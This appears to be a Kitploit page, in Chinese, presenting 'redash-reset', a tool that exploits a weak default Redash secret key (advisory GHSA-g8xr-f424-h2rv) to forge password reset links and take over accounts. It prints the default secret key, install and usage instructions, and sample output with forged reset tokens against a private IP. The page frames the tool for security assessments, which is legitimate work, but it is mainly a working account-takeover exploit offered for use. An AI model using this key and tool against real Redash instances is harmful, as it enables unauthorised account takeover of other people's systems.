redash-reset — 利用 Redash 弱密钥漏洞（GHSA-g8xr-f424-h2rv）为任意用户生成密码重置链接，从而在安全评估期间实现账户接管。 | Kitploit

redash-reset

这将使用默认的 REDASH_SECRET_KEY 密钥 c292a0a3aa32397cdb050e233733900f，它允许你重置用户 ID 的密码，但你需要知道与该用户 ID 关联的电子邮件地址。

信息

https://github.com/getredash/redash/security/advisories/GHSA-g8xr-f424-h2rv

设置

pip install -r requirements.txt

用法

usage: redash.py [-h] [-s SECRET] -u URL [-p PROXY]

optional arguments:
  -h, --help            show this help message and exit
  -s SECRET, --secret SECRET
                        Weak REDASH_SECRET_KEY
  -u URL, --url URL     URL of host to check will need http or https
  -p PROXY, --proxy PROXY
                        Proxy for debugging

示例

[2021-11-29T15:44:27Z] root@MBP-3623:/tmp$ python3 test.py -u http://192.168.1.170
Rest Link http://192.168.1.170/reset/IjEi.YaT1sQ.e6w1vMsG-gx0OVT0qV5aH_aI7IA - UserID: 1

http://192.168.1.170/reset/IjIi.YaT1sQ.j67-OQljn2ivQiyw9Y9wa7G6GY0
Failed to Generate Reset Link for 2